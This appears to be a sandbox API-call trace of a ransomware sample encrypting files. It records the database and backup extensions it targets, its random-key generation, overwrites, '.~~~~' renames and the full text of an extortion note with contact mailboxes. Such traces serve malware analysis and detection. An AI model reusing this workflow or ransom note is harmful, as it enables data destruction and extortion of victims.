	[0086.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".db") returned 0x0
	[0086.681] lstrlenW (lpString=".TXT") returned 4
	[0086.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".TXT") returned 0x0
	[0086.681] lstrlenW (lpString=".MDF") returned 4
	[0086.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".MDF") returned 0x0
	[0086.681] lstrlenW (lpString=".bdb") returned 4
	[0086.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".bdb") returned 0x0
	[0086.681] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0086.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.682] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0086.757] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.757] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0086.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0086.769] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20675937600) returned 1
	[0086.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9d85d5d0, dwHighDateTime=0x1d60e1e)) 
	[0086.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0086.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0086.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0086.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b2c0
	[0086.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b2c0 | out: hHeap=0x300000) returned 1
	[0086.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6220
	[0086.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.770] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.770] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6220 | out: hHeap=0x300000) returned 1
	[0086.770] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0086.770] GetLastError () returned 0x0
	[0086.770] GetLastError () returned 0x0
	[0086.770] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0086.770] GetLastError () returned 0x0
	[0086.770] GetLastError () returned 0x0
	[0086.789] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.789] WriteFile (in: hFile=0x120, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.801] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0086.801] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.801] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.822] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.822] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.822] CloseHandle (hObject=0x120) returned 1
	[0086.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5dc0
	[0086.823] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.~~~~")) returned 1
	[0086.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5dc0 | out: hHeap=0x300000) returned 1
	[0086.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0086.824] GetLastError () returned 0x0
	[0086.830] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.830] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.831] CloseHandle (hObject=0x120) returned 1
	[0086.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6370 | out: hHeap=0x300000) returned 1
	[0086.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb228 | out: hHeap=0x300000) returned 1
	[0086.831] RtlWakeConditionVariable () returned 0x365f70
	[0086.831] GetCurrentThreadId () returned 0x3a4
	[0086.832] lstrlenW (lpString=".sqb") returned 4
	[0086.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".sqb") returned 0x0
	[0086.832] lstrlenW (lpString=".ost") returned 4
	[0086.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".ost") returned 0x0
	[0086.832] lstrlenW (lpString=".txt") returned 4
	[0086.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".txt") returned 0x0
	[0086.832] lstrlenW (lpString=".mdt") returned 4
	[0086.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".mdt") returned 0x0
	[0086.832] lstrlenW (lpString=".BDB") returned 4
	[0086.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".BDB") returned 0x0
	[0086.832] lstrlenW (lpString=".eql") returned 4
	[0086.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".eql") returned 0x0
	[0086.832] lstrlenW (lpString=".DBF") returned 4
	[0086.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".DBF") returned 0x0
	[0086.832] lstrlenW (lpString=".EQL") returned 4
	[0086.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".EQL") returned 0x0
	[0086.832] lstrlenW (lpString=".FDB") returned 4
	[0086.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".FDB") returned 0x0
	[0086.832] lstrlenW (lpString=".EDB") returned 4
	[0086.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".EDB") returned 0x0
	[0086.832] lstrlenW (lpString=".DACPAC") returned 7
	[0086.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".DACPAC") returned 0x0
	[0086.833] lstrlenW (lpString=".VHD") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".VHD") returned 0x0
	[0086.833] lstrlenW (lpString=".DBV") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".DBV") returned 0x0
	[0086.833] lstrlenW (lpString=".dacpac") returned 7
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".dacpac") returned 0x0
	[0086.833] lstrlenW (lpString=".sdf") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".sdf") returned 0x0
	[0086.833] lstrlenW (lpString=".accdb") returned 6
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".accdb") returned 0x0
	[0086.833] lstrlenW (lpString=".DBX") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".DBX") returned 0x0
	[0086.833] lstrlenW (lpString=".MDT") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".MDT") returned 0x0
	[0086.833] lstrlenW (lpString=".SQB") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".SQB") returned 0x0
	[0086.833] lstrlenW (lpString=".vhd") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".vhd") returned 0x0
	[0086.833] lstrlenW (lpString=".bac") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".bac") returned 0x0
	[0086.833] lstrlenW (lpString=".mdf") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".mdf") returned 0x0
	[0086.833] lstrlenW (lpString=".BAK") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".BAK") returned 0x0
	[0086.833] lstrlenW (lpString=".BAC") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".BAC") returned 0x0
	[0086.833] lstrlenW (lpString=".dbs") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".dbs") returned 0x0
	[0086.833] lstrlenW (lpString=".vhdx") returned 5
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".vhdx") returned 0x0
	[0086.833] lstrlenW (lpString=".NDF") returned 4
	[0086.833] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".NDF") returned 0x0
	[0086.834] lstrlenW (lpString=".dat") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".dat") returned 0x0
	[0086.834] lstrlenW (lpString=".DBS") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".DBS") returned 0x0
	[0086.834] lstrlenW (lpString=".CKP") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".CKP") returned 0x0
	[0086.834] lstrlenW (lpString=".edb") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".edb") returned 0x0
	[0086.834] lstrlenW (lpString=".PST") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".PST") returned 0x0
	[0086.834] lstrlenW (lpString=".dbf") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".dbf") returned 0x0
	[0086.834] lstrlenW (lpString=".SQL") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".SQL") returned 0x0
	[0086.834] lstrlenW (lpString=".pst") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".pst") returned 0x0
	[0086.834] lstrlenW (lpString=".dbv") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".dbv") returned 0x0
	[0086.834] lstrlenW (lpString=".SDF") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".SDF") returned 0x0
	[0086.834] lstrlenW (lpString=".dtxs") returned 5
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".dtxs") returned 0x0
	[0086.834] lstrlenW (lpString=".db3") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".db3") returned 0x0
	[0086.834] lstrlenW (lpString=".OST") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".OST") returned 0x0
	[0086.834] lstrlenW (lpString=".dbx") returned 4
	[0086.834] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".dbx") returned 0x0
	[0086.835] lstrlenW (lpString=".DB3") returned 4
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".DB3") returned 0x0
	[0086.835] lstrlenW (lpString=".DAT") returned 4
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".DAT") returned 0x0
	[0086.835] lstrlenW (lpString=".VHDX") returned 5
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".VHDX") returned 0x0
	[0086.835] lstrlenW (lpString=".ndf") returned 4
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".ndf") returned 0x0
	[0086.835] lstrlenW (lpString=".DB") returned 3
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".DB") returned 0x0
	[0086.835] lstrlenW (lpString=".sql") returned 4
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".sql") returned 0x0
	[0086.835] lstrlenW (lpString=".MYD") returned 4
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".MYD") returned 0x0
	[0086.835] lstrlenW (lpString=".DBT") returned 4
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".DBT") returned 0x0
	[0086.835] lstrlenW (lpString=".ACCDB") returned 6
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".ACCDB") returned 0x0
	[0086.835] lstrlenW (lpString=".fdb") returned 4
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".fdb") returned 0x0
	[0086.835] lstrlenW (lpString=".bak") returned 4
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".bak") returned 0x0
	[0086.835] lstrlenW (lpString=".myd") returned 4
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".myd") returned 0x0
	[0086.835] lstrlenW (lpString=".DTXS") returned 5
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".DTXS") returned 0x0
	[0086.835] lstrlenW (lpString=".ckp") returned 4
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".ckp") returned 0x0
	[0086.835] lstrlenW (lpString=".dbt") returned 4
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".dbt") returned 0x0
	[0086.835] lstrlenW (lpString=".db") returned 3
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".db") returned 0x0
	[0086.835] lstrlenW (lpString=".TXT") returned 4
	[0086.835] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".TXT") returned 0x0
	[0086.836] lstrlenW (lpString=".MDF") returned 4
	[0086.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".MDF") returned 0x0
	[0086.836] lstrlenW (lpString=".bdb") returned 4
	[0086.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".bdb") returned 0x0
	[0086.836] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0086.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362fe0
	[0086.836] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0086.837] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0086.837] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0086.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0086.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0086.837] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20682705898) returned 1
	[0086.837] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9d8f5b50, dwHighDateTime=0x1d60e1e)) 
	[0086.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0086.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0086.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0086.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e0a0
	[0086.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0086.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e0a0 | out: hHeap=0x300000) returned 1
	[0086.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0086.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4508
	[0086.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.837] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4508 | out: hHeap=0x300000) returned 1
	[0086.837] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0086.838] GetLastError () returned 0x0
	[0086.838] GetLastError () returned 0x0
	[0086.838] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0086.838] GetLastError () returned 0x0
	[0086.838] GetLastError () returned 0x0
	[0086.846] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.846] WriteFile (in: hFile=0x120, lpBuffer=0x2895ff0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2895ff0*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0086.849] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2895ff0 | out: hHeap=0x300000) returned 1
	[0086.852] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.852] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.888] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.888] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
